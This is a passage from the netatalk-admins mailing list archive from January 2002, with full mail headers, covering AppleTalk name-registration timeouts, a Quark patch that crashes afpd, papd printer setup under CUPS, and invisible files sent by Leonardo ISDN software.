Content-Disposition: inline

I am new to Appletalk stuff, so please be patient with my ignorance. I
will try to be complete.

Basically, my problem is that nbprgstr always fails; an strace shows
that its sendto()s receive no answer. Same for afpd.

My setup:
	Linux 2.4.17 with eth0 to my ISP, eth1 to my local 192.168 network
	netatalk 1.4b2+asun2.1.3 (also tried 1.4b2)
	a Quadra 605 and a Mac LC, all on a hub with the Linux box.

My atalkd.conf (after running atalkd, it just said 'eth1' beforehand):
	eth1 -phase 2 -net 0-65534 -addr 65280.167

My atalkd syslog messages at startup:
Jan 27 15:41:44 ma-northadams1a-24 atalkd[23350]: restart (1.4b2+asun2.1.3)
Jan 27 15:41:45 ma-northadams1a-24 atalkd[23350]: zip_getnetinfo for eth1
Jan 27 15:42:04 ma-northadams1a-24 last message repeated 2 times
Jan 27 15:42:14 ma-northadams1a-24 atalkd[23350]: config for no router
Jan 27 15:42:15 ma-northadams1a-24 atalkd[23350]: ready 0/0/0

My attempt to register a name:
bash-2.04# nbprgstr 'sparrow:netatalk@*'
nbp_rgstr: Connection timed out
Can't register sparrow:netatalk@*

An strace of atalkd doing this shows it hanging around in select(),
receiving nothing, even as an strace of nbprgstr shows it sendto()ing.

On the face of it, it looks like nbprgstr is looking in the wrong
place for atalkd. But as I said, I'm not familiar with Appletalk, and
don't know what it's supposed to be doing, really. I tried running
"nbprgstr -p 4 'sparrow:netatalk@*'", as per an old rc file, but got
identical results.

Please advise me on how to fix this or troubleshoot further.
CC's appreciated but not necessary.

Thanks,

Eric

--/9DWx/yDrRhgMJTb
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE8VGjice4O6PAsbIkRAis/AKCLNiQrd1rCpS7ha/ueGEhYv3Xt5gCfat2Y
C5H/+SQ7ec+Piq6TBpa2vtU=
=x+/O
-----END PGP SIGNATURE-----

--/9DWx/yDrRhgMJTb--

From netatalk.administrators-errors@umich.edu  Sun Jan 27 19:10:41 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA14048
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 Jan 2002 19:10:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA16528
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 Jan 2002 19:10:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA16523
	for netatalk.administrators-members@umich.edu; Sun, 27 Jan 2002 19:10:41 -0500 (EST)
Received: from virtue.cx (CPE00a04b070651.cpe.net.cable.rogers.com [24.114.37.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA16513
	for <netatalk-admins@umich.edu>; Sun, 27 Jan 2002 19:10:40 -0500 (EST)
Received: (qmail 30076 invoked from network); 28 Jan 2002 00:10:39 -0000
Received: from unknown (HELO justice) (10.10.0.2)
  by cpe00a04b070651.cpe.net.cable.rogers.com with SMTP; 28 Jan 2002 00:10:39 -0000
Message-ID: <003901c1a790$37aba6d0$02000a0a@justice>
From: "Jonathan Graham" <grahamj@virtue.cx>
To: <netatalk-admins@umich.edu>
Subject: OSX Appleshare Login Client.
Date: Sun, 27 Jan 2002 19:10:39 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0036_01C1A766.4EC28C00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

This is a multi-part message in MIME format.

------=_NextPart_000_0036_01C1A766.4EC28C00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,

I realize that this is a bit off topic but I was wondering if what I'm =
working on is useful to anyone else or duplicating anyone elses efforts. =
 Here's the story so far:

My household exists as a tiny lab environment.  I have many users and a =
few machines.  So to keep things orderly I assign anyone who uses my =
machines (locally or remotely) a userid/password.  For the NT/2K =
machines I use Samba.  User log into the NT domain to get access to =
machines/printers/diskshares.  For my Mac I was using MacLogin.  However =
recently I converted one of my client machines over to OS X and athough =
there's all these wonderful authentication API's available to OS X.  =
There doesn't seem to be a way to authenticate against a plain old =
Appleshare server.

So I did the only natural thing....I wrote one.

The code is a little rough right now but users are presented with a =
Username/Password dialog and a successful login mounts the user's home =
directory on the desktop.  My next project is to manipulate the settings =
of the NetInfo db. =20

So would anyone on this list find this kind of application useful?  Or =
is everyone pretty much using the Kerberos authentication plug-in or =
setting up LDAP or NIS?

Thanks for your time,

Jonathan.=20

------=_NextPart_000_0036_01C1A766.4EC28C00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I realize that this is a bit off topic =
but I was=20
wondering if what I'm working on is useful to anyone else or duplicating =
anyone=20
elses efforts.&nbsp; Here's the story so far:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>My household exists as a tiny lab=20
environment.&nbsp; I have many users and a few machines.&nbsp; So to =
keep things=20
orderly I assign anyone who uses my machines (locally or remotely) a=20
userid/password.&nbsp; For the NT/2K machines I use Samba.&nbsp; User =
log into=20
the NT&nbsp;domain to get access to machines/printers/diskshares.&nbsp; =
For my=20
Mac I was using MacLogin.&nbsp; However recently I converted one of my =
client=20
machines over to OS X and athough there's all these wonderful =
authentication=20
API's available to OS X.&nbsp;&nbsp;There doesn't seem to be a way to=20
authenticate against a plain old Appleshare server.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So I did the only natural thing....I =
wrote=20
one.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The code is a little rough right now =
but&nbsp;users=20
are presented with a Username/Password dialog and&nbsp;a successful =
login mounts=20
the user's home directory&nbsp;on the desktop.&nbsp; My next =
project&nbsp;is=20
to&nbsp;manipulate the settings of the NetInfo db.&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So would anyone on this list find =
this&nbsp;kind of=20
application useful?&nbsp; Or is everyone pretty much using the Kerberos=20
authentication plug-in or setting up LDAP or NIS?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for your time,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>Jonathan.</FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0036_01C1A766.4EC28C00--



From netatalk.administrators-errors@umich.edu  Sun Jan 27 21:55:29 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA20269
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 Jan 2002 21:55:29 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA25095
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 Jan 2002 21:55:29 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA25038
	for netatalk.administrators-members@umich.edu; Sun, 27 Jan 2002 21:55:27 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA24984
	for <netatalk-admins@umich.edu>; Sun, 27 Jan 2002 21:55:26 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id VAA28728;
	Sun, 27 Jan 2002 21:55:21 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Sun, 27 Jan 2002 21:55:20 -0500
Subject: Re: Patch for Quark et al
From: Rick Zeman <rzeman@his.com>
To: Joe Clarke <marcus@marcuscom.com>
CC: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Message-ID: <B87A27C8.480B%rzeman@his.com>
In-Reply-To: <1012076193.99280.7.camel@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 1/26/02 3:16 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:

> On Fri, 2002-01-25 at 23:19, Rick Zeman wrote:
>> On 1/18/02 11:24 AM, "Joe Clarke" <marcus@marcuscom.com> wrote:
>> 
>>> I committed a patch the other day that Lawrence Farr has been testing for
>>> me that seems to have good results with Quark and Retrospect.  It has not
>>> been back-ported from HEAD yet, but here is the diff to 1.5.0.  Please
>>> test this if you can.  I'm looking for littleendian Linux, Tru64,
>>> littleendian OpenBSD, and littleendian NetBSD, and littleendian Solaris
>>> feedback.  Thanks.
>> 
>> 
>> I tried the patch and with my first test (with Word X) and ended up get
>> "afp_flushfork: of_find: No such file or directory and then afpd would kill
>> pid of the child process that mounted the volume. :-(
> 
> Can you also try the attached patch to see if that problem goes away?
> Thanks.

Patched a clean tarball and if anything, the problem occurred quicker, just
opening the file gave the first flushfork error and the first save booted me
off.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Sun Jan 27 23:03:42 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA23712
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 Jan 2002 23:03:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA23282
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 Jan 2002 23:03:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA23264
	for netatalk.administrators-members@umich.edu; Sun, 27 Jan 2002 23:03:42 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA23251
	for <netatalk-admins@umich.edu>; Sun, 27 Jan 2002 23:03:40 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id g0S43Vm03257;
	Sun, 27 Jan 2002 23:03:31 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Re: Patch for Quark et al
From: Joe Clarke <marcus@marcuscom.com>
To: Rick Zeman <rzeman@his.com>
Cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
In-Reply-To: <B87A27C8.480B%rzeman@his.com>
References: <B87A27C8.480B%rzeman@his.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 27 Jan 2002 23:03:44 -0500
Message-Id: <1012190624.7187.2.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Sun, 2002-01-27 at 21:55, Rick Zeman wrote:
> On 1/26/02 3:16 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> 
> > On Fri, 2002-01-25 at 23:19, Rick Zeman wrote:
> >> On 1/18/02 11:24 AM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> >> 
> >>> I committed a patch the other day that Lawrence Farr has been testing for
> >>> me that seems to have good results with Quark and Retrospect.  It has not
> >>> been back-ported from HEAD yet, but here is the diff to 1.5.0.  Please
> >>> test this if you can.  I'm looking for littleendian Linux, Tru64,
> >>> littleendian OpenBSD, and littleendian NetBSD, and littleendian Solaris
> >>> feedback.  Thanks.
> >> 
> >> 
> >> I tried the patch and with my first test (with Word X) and ended up get
> >> "afp_flushfork: of_find: No such file or directory and then afpd would kill
> >> pid of the child process that mounted the volume. :-(
> > 
> > Can you also try the attached patch to see if that problem goes away?
> > Thanks.
> 
> Patched a clean tarball and if anything, the problem occurred quicker, just
> opening the file gave the first flushfork error and the first save booted me
> off.

Are you using both patches I sent you, or just the latter?  You should
be using both patches.

Joe

> 
> -- 
> "So Long, and Thanks For All the Fish."
>        --Douglas Adams
>           1952-2001
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Tue Jan 29 05:00:38 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA24359
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 Jan 2002 05:00:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA26127
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 Jan 2002 05:00:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA26113
	for netatalk.administrators-members@umich.edu; Tue, 29 Jan 2002 05:00:37 -0500 (EST)
Received: from sparc.datrix.co.za (sparc.datrix.co.za [196.37.220.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA25979
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 05:00:30 -0500 (EST)
Received: from silas.datrix.co.za (silas.datrix.co.za [196.37.220.53])
	by sparc.datrix.co.za (8.9.3/8.9.3) with ESMTP id MAA14300
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 12:00:25 +0200
Date: Tue, 29 Jan 2002 12:00:38 +0200 (SAST)
From: Adrian Snyman <adrians@datrix.co.za>
To: <netatalk-admins@umich.edu>
Subject: Adding Printer Problems
In-Reply-To: <200201290954.EAA24102@terminator.rsug.itd.umich.edu>
Message-ID: <Pine.LNX.4.33L2.0201291157330.22824-100000@silas.datrix.co.za>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I am sure this problem has come up before, as I see quite a few posts when
searching on google .. nothing concrete though ..

I need to get papd up and running ..
I currently have 2 default printers under CUPS - none of which are called
"lp" ..

However, no matter what I try I keep getting
"no such printer : lp"
"printcap problem : lp"
"can't register Laserwriter@*"

Any pointers ??

 -----------------------------------------------------------------
|    .--.    Adrian Snyman - Datrix Solutions                     |
|   |o_o |   mailto:adriansREMOVE@datrix.co.za                    |
|   |:_/ |   Tel: +27 11 888-1869                                 |
|  //   \ \  Cell: +27 82 600-1211                                |
| (|     | )                                                      |
|/'\_   _/`\      !!retupmoc ruoy edisni deppart m'I ,PLEH  ....  |
|\___)=(___/                                                      |
 -----------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Tue Jan 29 05:31:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA25429
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 Jan 2002 05:31:08 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA29495
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 Jan 2002 05:31:08 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA29486
	for netatalk.administrators-members@umich.edu; Tue, 29 Jan 2002 05:31:07 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA29465
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 05:31:05 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA13098;
	Tue, 29 Jan 2002 11:56:00 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 29 Jan 2002 11:30:44 +0100
Subject: Re: Adding Printer Problems
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Adrian Snyman <adrians@datrix.co.za>, <netatalk-admins@umich.edu>
Message-ID: <B87C3863.19DBC%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.33L2.0201291157330.22824-100000@silas.datrix.co.za>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 29 Jan 2002 12:00:38 +0200 (SAST), Adrian Snyman wrote:

> However, no matter what I try I keep getting
> "no such printer : lp"
> "printcap problem : lp"
> "can't register Laserwriter@*"

Posting your papd.conf will allow us to give you more helpful answers than
guessing something :-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Jan 29 09:19:49 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA03024
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 Jan 2002 09:19:49 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA12078
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 Jan 2002 09:19:49 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA12074
	for netatalk.administrators-members@umich.edu; Tue, 29 Jan 2002 09:19:49 -0500 (EST)
Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA12059
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 09:19:48 -0500 (EST)
Received: from fwd10.sul.t-online.de 
	by mailout06.sul.t-online.com with smtp 
	id 16VYQh-00068s-0A; Tue, 29 Jan 2002 14:36:07 +0100
Received: from [192.168.0.33] (07031811601-0001@[217.2.103.205]) by fmrl10.sul.t-online.com
	with esmtp id 16VYQZ-1WqlvsC; Tue, 29 Jan 2002 14:35:59 +0100
Mime-Version: 1.0
Message-Id: <a05100306b87c54130532@[192.168.0.33]>
Date: Tue, 29 Jan 2002 14:36:22 +0100
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: invisible files are sent with Leonardo
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA03024

Hi,

I made a netatalk volume "isdn from me" to which we copy the files 
which should be sent by a mac with a Leonardo-ISDN-Card. Leonardo is 
configured to send the "isdn from me". All works fine - but in the 
log I see that there were sent much more files (older files which 
were trashed from a mac) which are invisible from the macs. I found 
these files in "searchbycontentfolder" on my linux box.

Why were those files sent (the apple.desktop folder and others like 
trash are also sent)??
On all macs the trashes are empty.

Linux = Suse 7.1
Netatalk = 1.5.pre6 (which works fine)
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition

From netatalk.administrators-errors@umich.edu  Tue Jan 29 09:43:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA04078
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 Jan 2002 09:43:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA09604
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 Jan 2002 09:43:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA09596
	for netatalk.administrators-members@umich.edu; Tue, 29 Jan 2002 09:43:36 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA09582
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 09:43:35 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA01938;
	Tue, 29 Jan 2002 16:09:47 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 29 Jan 2002 15:43:47 +0100
Subject: Re: invisible files are sent with Leonardo
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: J=?ISO-8859-1?B?/A==?=rgen Weltzer <weltzer@werbeagentur-weltzer.de>,
        <netatalk-admins@umich.edu>
Message-ID: <B87C73B2.19E35%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05100306b87c54130532@[192.168.0.33]>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA04078

am 29.01.2002 14:36 Uhr schrieb Jürgen Weltzer:

> Why were those files sent (the apple.desktop folder and others like
> trash are also sent)??

Looks like LeoExpress is working similar to a copy in the finder. Whenever
you copy a whole volume all invisible stuff (including 'special' folders
that are created by a mac) will be copied too. This makes backing up and
restoring a whole volume (even the system partition with all the necessary
files to boot from) very easy.

So copying the 'Network Trash Folder' is correct. But LeoExpress shouldn't
be able to copy the .AppleDesktop Folder as it is an internal part of
netatalk, never given out via afp, AFAIR.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Jan 29 16:00:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA00725
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 Jan 2002 16:00:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA17373
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 Jan 2002 16:00:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA17343
	for netatalk.administrators-members@umich.edu; Tue, 29 Jan 2002 16:00:27 -0500 (EST)
Received: from mailout10.sul.t-online.com (mailout10.sul.t-online.com [194.25.134.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA17301
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 16:00:25 -0500 (EST)
Received: from fwd09.sul.t-online.de 
	by mailout10.sul.t-online.com with smtp 
	id 16VfMe-0000OX-08; Tue, 29 Jan 2002 22:00:24 +0100
Received: from server.linau.de (320064501249-0002@[217.4.65.227]) by fmrl09.sul.t-online.com
	with esmtp id 16VfMO-12VcMCC; Tue, 29 Jan 2002 22:00:08 +0100
Received: from [192.168.2.2] (helo=[192.168.2.2])
	by server.linau.de with esmtp (Exim 3.33 #1 (Debian))
	id 16VevD-0004P0-00
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 21:32:03 +0100
Mime-Version: 1.0
Message-Id: <p04310102b87cb6c2e969@[192.168.2.2]>
In-Reply-To: <B87C3863.19DBC%Thomas.Kaiser@phg-online.de>
References: <B87C3863.19DBC%Thomas.Kaiser@phg-online.de>
X-MUA: Eudora 4.3.1 Macintosh
Date: Tue, 29 Jan 2002 21:31:21 +0100
To: <netatalk-admins@umich.edu>
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: Adding Printer Problems
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net

On 29.01.2002 (d-m-y), Thomas Kaiser wrote:

>  Posting your papd.conf will allow us to give you more helpful answers than
>  guessing something :-)

And IMHO the /etc/printcap should be useful, too.

Yours,
Christian
-- 
Christian Schmidt
ChriSchmiLi@gmx.de

From netatalk.administrators-errors@umich.edu  Tue Jan 29 17:16:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA06174
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 Jan 2002 17:16:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06288
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 Jan 2002 17:16:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA06271
	for netatalk.administrators-members@umich.edu; Tue, 29 Jan 2002 17:16:46 -0500 (EST)
Received: from moutng0.schlund.de (moutng0.kundenserver.de [212.227.126.170])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA06222
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 17:16:44 -0500 (EST)
Received: from [212.227.126.160] (helo=mrelayng0.kundenserver.de)
	by moutng0.schlund.de with esmtp (Exim 3.22 #2)
	id 16VgYV-00042q-00
	for netatalk-admins@umich.edu; Tue, 29 Jan 2002 23:16:43 +0100
Received: from [193.158.171.136] (helo=[193.158.171.136])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16VgYU-0000JA-00
	for netatalk-admins@umich.edu; Tue, 29 Jan 2002 23:16:42 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Tue, 29 Jan 2002 23:16:58 +0100
Subject: Re: invisible files are sent with Leonardo
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B87CD9E3.2FC71%ts@visual-s.de>
In-Reply-To: <a05100306b87c54130532@[192.168.0.33]>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA06174

Weird ... either your remote volumes are already corrupted, or Leonardo
is suffering from non-permanent DIDs?

(btw, in one case I have noticed severe problems with Leonardo
Pro's received folder residing at another local volume than the app
itself, but cannot remember any details since I went to Leonardo
Express almost two years ago)

Apparently you did compile your own Netatalk -- what are
the options used to configure? Why don't you give 1.5.1 a try --
troubleshooting prereleases is just a waste of time.

-Thomas

On 2002-01-29 14:36 +0100, Jürgen Weltzer wrote:

> I made a netatalk volume "isdn from me" to which we copy the files
> which should be sent by a mac with a Leonardo-ISDN-Card. Leonardo is
> configured to send the "isdn from me". All works fine - but in the
> log I see that there were sent much more files (older files which
> were trashed from a mac) which are invisible from the macs. I found
> these files in "searchbycontentfolder" on my linux box.
> 
> Why were those files sent (the apple.desktop folder and others like
> trash are also sent)??
> On all macs the trashes are empty.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Tue Jan 29 17:17:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA06201
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 Jan 2002 17:17:01 -0500 (EST)
Received: (from daemon@localhost)
